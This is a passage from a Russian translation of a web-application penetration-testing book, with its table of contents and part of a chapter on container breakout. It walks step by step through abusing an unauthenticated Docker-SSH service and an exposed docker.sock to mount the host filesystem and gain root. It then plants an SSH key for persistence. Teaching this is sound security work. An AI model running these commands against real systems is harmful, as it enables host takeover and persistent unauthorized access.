- •Отзывы и пожелания
- •Список опечаток
- •Нарушение авторских прав
- •Предисловие
- •Кому адресована эта книга
- •О чем идет речь в книге
- •Как извлечь максимум из книги?
- •Загрузка примеров
- •Загрузка цветных изображений
- •Условные обозначения
- •Атаки на веб-приложения. Введение
- •Правила применения оружия
- •Вопросы конфиденциальности данных
- •Очистка
- •Инструментарий тестировщика
- •Kali Linux
- •Альтернативы Kali Linux
- •Прокси-сервер
- •Burp Suite
- •Zed Attack Proxy
- •Облачная инфраструктура
- •Дополнительные источники
- •Упражнения
- •Резюме
- •Глава 2
- •Эффективное обнаружение
- •Типы тестирования
- •Построение карты сети
- •Masscan
- •hatWeb
- •Nikto
- •CMS-сканеры
- •Эффективная атака методом полного перебора
- •Средства сканирования
- •Постоянное картирование контента
- •Обработка полезной нагрузки
- •«Полиглот»
- •Запутывание (обфускация) кода
- •Дополнительные источники
- •Упражнения
- •Резюме
- •Глава 3
- •Легкая добыча
- •Анализ сети
- •Ищем вход
- •Определение учетных данных
- •Есть способ получше
- •Очистка
- •Дополнительные ресурсы
- •Резюме
- •Глава 4
- •Продвинутые способы атаки с использованием метода полного перебора
- •Распыление подбора пароля
- •Спросим LinkedIn
- •Метаданные
- •Кассетная бомба
- •За семью прокси-серверами
- •ProxyCannon
- •Резюме
- •Глава 5
- •Внедрение файлов
- •Удаленное внедрение файлов
- •Локальное внедрение файлов
- •Внедрение файла для удаленного выполнения кода
- •Резюме
- •Обнаружение и эксплуатация уязвимостей в приложениях с помощью внешних сервисов
- •Распространенный сценарий
- •Командно-контрольный сервер
- •Центр сертификации Let’s Encrypt
- •INetSim
- •Подтверждение
- •Асинхронное извлечение данных
- •Построение выводов на основе анализа данных
- •Резюме
- •Расширение функциональных возможностей Burp Suite
- •Нелегальная аутентификация и злоупотребление учетными записями
- •Швейцарский нож
- •Запутывание кода
- •Collaborator
- •Открытый сервер
- •Выделенный сервер Collaborator
- •Резюме
- •Глава 8
- •Вредоносная сериализация
- •Использование десериализации
- •Атака на пользовательские протоколы
- •Анализ протокола
- •Эксплойт для осуществления атаки
- •Резюме
- •Практические атаки на стороне клиента
- •Правила ограничения домена
- •Совместное использование ресурсов разными источниками
- •Межсайтовый скриптинг
- •Постоянный XSS
- •DOM-модели
- •Межсайтовая подделка запроса
- •BeEF
- •Перехват
- •Атаки с применением методов социальной инженерии
- •Кейлоггер
- •Закрепление в системе
- •Автоматическая эксплуатация
- •Туннелирование трафика
- •Резюме
- •Практические атаки на стороне сервера
- •Внутренние и внешние ссылки
- •Атаки XXE
- •Атака billion laughs
- •Подделка запроса
- •Сканер портов
- •Утечка информации
- •«Слепой» XXE
- •Удаленное выполнение кода
- •Резюме
- •Глава 11
- •Атака на API
- •Протоколы передачи данных
- •SOAP
- •REST
- •Аутентификация с помощью API
- •Базовая аутентификация
- •Ключи API
- •Токены на предъявителя
- •Postman
- •Установка
- •Вышестоящий прокси-сервер
- •Среда выполнения
- •Коллекции
- •Запуск коллекции
- •Факторы атаки
- •Резюме
- •Глава 12
- •Атака на CMS
- •Оценка приложения
- •WPScan
- •sqlmap
- •Droopescan
- •Arachni
- •Взлом кода с помощью бэкдора
- •Закрепление в системе
- •Утечка учетных данных
- •Резюме
- •Глава 13
- •Взлом контейнеров
- •Сценарий уязвимости в Docker
- •Осведомленность о ситуации
- •Взлом контейнера
- •Резюме
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
Взлом контейнера |
||||
|
|
|
|
|
|
g |
|
|
||
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
Взлом контейнера
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
E |
|
|
|||
|
|
X |
|
|
|
|
|||
|
- |
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
||||
371 BUY |
|
|
|||||||
|
|
|
|
|
|||||
w Click |
to |
|
|
|
|
m |
|||
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
g |
|
|
|
|
|
|
df |
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
У нас есть доступ к оболочке контейнера через сеанс Meterpreter, и благодаря этомусеансумыможемобщатьсясдругимиконтейнерами,размещеннымина той же машине.Во время более раннего сканирования сети Docker с помощью Nmap было видно, что служба на порту 8022 также выделяется среди остальных. Будучи хакерами, мы всегда интересуемся службами с портами в диапазоне 8000, потому что там можно найти слабозащищенные веб-серверы. Этот конкретный порт может стать эксплуатируемым веб-приложением и предо ставить нам более расширенный доступ по сравнению с тем, что у нас есть сейчас.
В отчете о сканировании Nmap для контейнера content_ssh_1 также был открытый SSH-порт, но эту службу обычно сложнее использовать, за исключениематакиметодомполногопереборадляполученияслабыхучетныхданных.
Nmap scan report for content_ssh_1.content_default (172.18.0.2) Host is up (0.00056s latency).
Not shown: 65534 closed ports
PORT |
STATE SERVICE |
22/tcp |
open ssh |
8022/tcp |
open unknown |
Если вернуться назад и заглянуть в оболочку скомпрометированного контейнера, то можно выполнить команду curl, чтобы просмотреть содержимое этого веб-приложения.В консоли Metasploit можем взаимодействовать с сеан сом Meterpreter, используя команду session и передавая число 1 опции -i
(interact).
msf auxiliary(socks4a) > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
Вернувшись в сессию Meterpreter,можно зайти дальше втерминал целевого контейнера, используя команду shell.
meterpreter > shell
Process 230 created. Channel 16 created.
Мы можем не увидеть типичное приглашение Linux, но можем выполнять простые команды терминала Linux,такие как curl,для проверки службы 8022 в контейнере 172.18.0.2.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
||||
w Click |
to |
BUY 372 Глава 13.Взлом контейнеров |
||||||||
|
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
|
|
e |
|
|
|
|
|
|
curl -s 172.18.0.2:8022 |
||||||
|
|
|
|
|
n |
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
<!DOCTYPE html>
<html style="height:100%; !important;">
<head>
<title>Docker-SSH</title>
<script src="/js/jquery-1.11.3.min.js"></script> <script src="/js/term.js"></script>
<link rel="stylesheet" href="/css/term.css" type="text/css" />
</head>
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
<body>
Восхитительно! Похоже, что этот контейнер является приложением DockerSSH, которое, как следует из названия, обеспечивает доступ к контейнерам по протоколу SSH.
Docker-SSH доступно на Docker Hub и на странице https:// github.com/jeroenpeeters/docker-ssh.
Мы совершили несколько действий, чтобы иметь возможность выполнить команду curl на целевом контейнере, а также использовать ProxyChains, чтобы сделать то же самое, но с компьютера злоумышленника. Запрос curl будет проксирован через сервер Metasploit SOCKS4, который мы настроили ранее, и трафик будет проходить через сеанс Meterpreter, предоставляя нам доступ к жертве, находящейся на расстоянии шага.
root@kali:~# proxychains curl -s 172.18.0.2:8022 ProxyChains-3.1 (http://proxychains.sf.net) |S-chain|-<>-127.0.0.1:1080-<><>-172.18.0.2:8022-<><>-OK <!DOCTYPE html>
<html style="height:100%; !important;">
<head>
<title>Docker-SSH</title>
<script src="/js/jquery-1.11.3.min.js"></script> <script src="/js/term.js"></script>
<link rel="stylesheet" href="/css/term.css" type="text/css" />
</head>
<body>
На нашей атакующей машине мы можем проксировать SSH-соединение прямо к этому контейнеру и посмотреть, с чем имеем дело.
root@kali:~# proxychains ssh root@172.18.0.2 ProxyChains-3.1 (http://proxychains.sf.net)
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
Взлом контейнера |
|||
w Click |
to |
|
|
|
|
|
|||||
|
|
|
|
|
m |
|
|||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
|
|
e |
|
|
|
|
|
|
|
|
|S-chain|-<>-127.0.0.1:1080-<><>-172.18.0.2:22-<><>-OK |
||||||
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
The authenticity of host '172.18.0.2 (172.18.0.2)' can't be established.
RSA key fingerprint is SHA256:ZDiL5/w1PFnaWvEKWM6N7Jzsz/FqPMM1SpLbbDUUtSQ.
Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '172.18.0.2' (RSA) to the list of known hosts.
###############################################################
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
E |
|
|
|||
|
|
X |
|
|
|
|
|||
|
- |
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
||||
373 BUY |
|
|
|||||||
|
|
|
|
|
|||||
w Click |
to |
|
|
|
|
m |
|||
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
g |
|
|
|
|
|
|
df |
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
## Docker SSH ~ Because every container should be accessible ##
###############################################################
## container | content_db_1 ##
###############################################################
/ $
Похоже, мы подключились автоматически без запроса пароля. Также очевидно, в этом конкретном контейнере мы работаем с правами суперпользователя.
/ $ id
uid=0(root) gid=0(root) groups=0(root)
/ $
Чисто сработано. Docker-SSH имеет несколько параметров конфигурации аутентификации, и этот экземпляр Docker-SSH, похоже, настроен с парамет ром noAuth, который разрешает анонимные подключения.
Вы,наверное,думаете,чтоврядликакая-нибудьорганизациябудетразвора- чиватьэтоттипконтейнеравсвоейпроизводственнойсреде.Вдействительности разработчики довольно часто создают небезопасно сконфигурированные контейнеры,такие как Docker-SSH,для устранения проблем.В зависимости от воздействия приоритетом для экспертов из группы реагирования на компьютерные инциденты является восстановление служб. Обычные процессы, связанные с управлением изменениями,обходятся,и развертыванию Docker-SSH дается зеленый свет. Проблема устранена, хаос стихает, но, после того как инженер проработал 40 с лишним часов подряд, случаются ошибки. Небезопасные контейнеры, инструменты и резервные копии остаются в оперативном режиме и могут быть использованы злоумышленниками.
Если просмотрим файловую систему контейнера Docker-SSH,то увидим интересный файл в /var/run.
/ $ /bin/bash
root@13f0a3bb2706:/# ls -lah /var/run/docker.sock srw-rw---- 1 root mysql 0 Aug 20 14:08 /var/run/docker.sock
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
|||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
NOW! |
|
o |
P |
|
|
|
|
|
NOW! |
o |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|||||||||
w Click |
to |
BUY 374 Глава 13.Взлом контейнеров |
w Click |
to |
|
|
|
|
|
|
||||||||||||||
|
|
|
|
|
|
|
|
m |
|
|
|
|
|
|
|
m |
||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
|||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
e |
Открытый файл docker.sock позволяет контейнерам отправлять команды |
|
|
|
e |
|
||||||||||
|
|
|
df |
|
|
n |
|
|
|
|
|
|
|
|
df |
|
|
n |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
демонуDocker,работающемунахосте.Имеядоступкконтейнерусправамисуперпользователя,можно делать разные интересные вещи.В частности,можем связаться с хостом и вежливо попросить его предоставить нам доступ к корневой файловой системе. Эта функция на самом деле используется на практике. Существуют контейнеры, которые управляют другими контейнерами на том же хосте.В этихтипах развертываниядемон Docker,работающий на хосте, долженпредоставитьдоступкdocker.sock,чтобыэтотконкретныйконтейнер могделать свою работу.
Не забывайте, что контейнеры, как правило, минималистичны, и обычные инструменты Unix могутбыть недоступны.Нам нужен клиентDocker,установленный внутри этого контейнера, чтобы иметь возможность с легкостью отдавать команды хосту Docker. Чтобы быстро установить клиента Docker, можно использовать скрипт bash, который можно найти на странице get.docker. com. Это официальный скрипт оболочки от Docker, устанавливающий среду со
всеминеобходимымизависимостямииобеспечивающийуспешнуюустановку клиента Docker.
Можно с легкостью загрузить этот скрипт для установки Docker, используя proxychains и scp. В отдельном терминале на компьютере злоумышленника используем wget, чтобы скачать скрипт и сохранить его локально. После этого оборачиваем команду scp (Secure Copy), используя proxychains, и загружаем скрипт в целевой контейнер.
root@kali:~# wget https://get.docker.com -O /root/tools/docker-install.sh root@kali:~# proxychains scp /root/tools/docker-install.sh root@172.18.0.2:/tmp/update.sh
ProxyChains-3.1 (http://proxychains.sf.net) |S-chain|-<>-127.0.0.1:1080-<><>-172.18.0.2:22-<><>-OK update.sh 100% 14K 00:00
root@kali:~#
Вернувшись в контейнерный терминал Docker-SSH, можем выполнить скрипт установки Docker, используя bash.
root@13f0a3bb2706:/# bash /tmp/update.sh
# Executing docker install script, commit: 49ee7c1 [...]
Получив двоичный файл клиента Docker, можем побеседовать с нашим любезнымхостомипопроситьегосоздатьещеодинконтейнерсфайловойсистемой хоста, смонтированной внутри, с помощью команды docker run.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
Взлом контейнера |
|||
w Click |
to |
|
|
|
|
|
|||||
|
|
|
|
|
m |
|
|||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
|
|
e |
|
|
|
|
|
|
|
|
root@13f0a3bb2706:/# docker run -iv /:/host ubuntu:latest |
||||||
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
/bin/bash
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
E |
|
|
|||
|
|
X |
|
|
|
|
|||
|
- |
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
||||
375 BUY |
|
|
|||||||
|
|
|
|
|
|||||
w Click |
to |
|
|
|
|
m |
|||
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
g |
|
|
|
|
|
|
df |
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Unable to find image 'ubuntu:latest' locally latest: Pulling from library/ubuntu
[...]
Status: Downloaded newer image for ubuntu:latest root@a39621d553e4:/#
Здесь мы создали новый экземпляр контейнера Ubuntu из контейнера Docker-SSH. Опция -v монтирует корневую файловую систему хоста в папку /host нового контейнера с правами на чтение и запись. Клиент Docker также создаст оболочку /bin/bash, когда новый контейнер будет запущен, а опция -i гарантирует, что Docker не переведет контейнер в фоновый режим (демонизируетего),и у нас будетинтерактивный сеанс.Другими словами,у нас есть оболочка в новом контейнере Ubuntu с правами суперпользователя.
Все это стало возможным благодаря открытому сокету Docker, найденному в /var/run/docker.sock. Клиент Docker использовал этот специальный файл для связи с API хоста Docker и подачи произвольных команд.
ВнутриэтогоновогоконтейнераUbuntuможемнаблюдатьсмонтированную файловую систему хоста.
root@a39621d553e4:/# ls -lah / total 76K
drwxr-xr-x 35 root root 4.0K Oct 7 01:38 . drwxr-xr-x 35 root root 4.0K Oct 7 01:38 .. -rwxr-xr-x 1 root root 0 Oct 7 01:38 .dockerenv [...]
drwxr-xr-x 2 root root 4.0K Oct 7 01:38 home drwxr-xr-x 22 root root 4.0K Aug 20 14:11 host [...]
drwx------ 2 root root 4.0K Oct 7 01:38 root [...]
root@a39621d553e4:/#
Имея права на чтение и запись в этот каталог, можем быстро скомпрометировать сам хост с помощью команды chroot.
root@33f559573304:/# chroot /host
# /bin/bash root@33f559573304:/#
Если помните, функциональность chroot позволяет сбросить действующий корневойкаталогфайловойсистемыдопроизвольногокаталога.Вэтомслучае
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
NOW! |
o |
|
|
|
P |
|
|
|
|
|
NOW! |
o |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|||||||||
w Click |
to |
BUY 376 Глава 13.Взлом контейнеров |
w Click |
to |
|
|
|
|
|
|
||||||||||||||||
|
|
|
|
|
|
|
m |
|
|
|
|
|
|
|
|
|
|
m |
||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
|
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
произвольный каталог оказывается корневой файловой системой хоста. Если |
|
|
|
e |
|
||||||||||||||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
|
|
df |
|
|
n |
|
|||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
||||
|
|
|
|
|
введем другую команду ps в каталоге chroot/host, результат будет немного |
|
|
|
|
|
|
|
||||||||||||||
|
|
|
|
|
отличаться от предыдущего. |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
root@33f559573304:/# ps x |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
PID TTY |
STAT |
TIME |
COMMAND |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 ? |
Ss |
0:04 |
/sbin/init |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
[...] |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
751 ? |
Ssl |
1:03 |
/usr/bin/dockerd --raw-logs |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
[...] |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
14966 ? |
R+ |
0:00 |
ps x |
|
|
|
|
|
|
|
|
|
|
|
|
Похоже, нам стало неуютно! Вы увидите, что в списке процессов показана работа процесса dockerd и процесса init с PID 1. Это список процессов хоста
Docker.
Нам нужно сохранить наш доступ, на случай если мы потеряем связь с контейнерами Docker. Самый простой способ – сгенерировать новую пару SSHключей для аутентификации и добавить открытый ключ в файл authorized_
keys.
На атакующей машине команду ssh-keygen можно использовать для генерации новой пары ключей RSA.
root@kali:~# ssh-keygen -t rsa -b 4096 -C "sensible@ansible" Generating public/private rsa key pair.
[...]
SHA256:mh9JYngbgkVsCy35fNeAO0z0kUcjMaJ8wvpJYiONp3M
sensible@ansible
[...] root@kali:~#
Помните о правилахведения боя и удалите все артефакты,например SSH-ключи,сразу после завершения задания.
Вернувшись в контейнер, можем добавить наш ключ в файл хоста Docker authorized_keys,тем самым предоставив себедоступ с правами суперпользователя через аутентификацию с открытым SSH-ключом.
root@33f559573304:/# echo "ssh-rsa VGhlcmUgYXJlIHRoZXNlIHR3byB5b3VuZyBmaXNoIHN3aW1taW5nIGFsb25nLCBhbmQgdGhle SBoYXBwZW4gdG8gbWVldCBhbiBvbGRlciBmaXNoIHN3aW1taW5nIHRoZSBvdGhlciB3YXksIH dobyBub2RzIGF0IHRoZW0gYW5kIHNheXMsICJNb3JuaW5nLCBib3lzLCBob3cncyB0aGUgd2F 0ZXI/IiBBbmQgdGhlIHR3byB5b3VuZyBmaXNoIHN3aW0gb24gZm9yIGEgYml0LCBhbmQgdGhl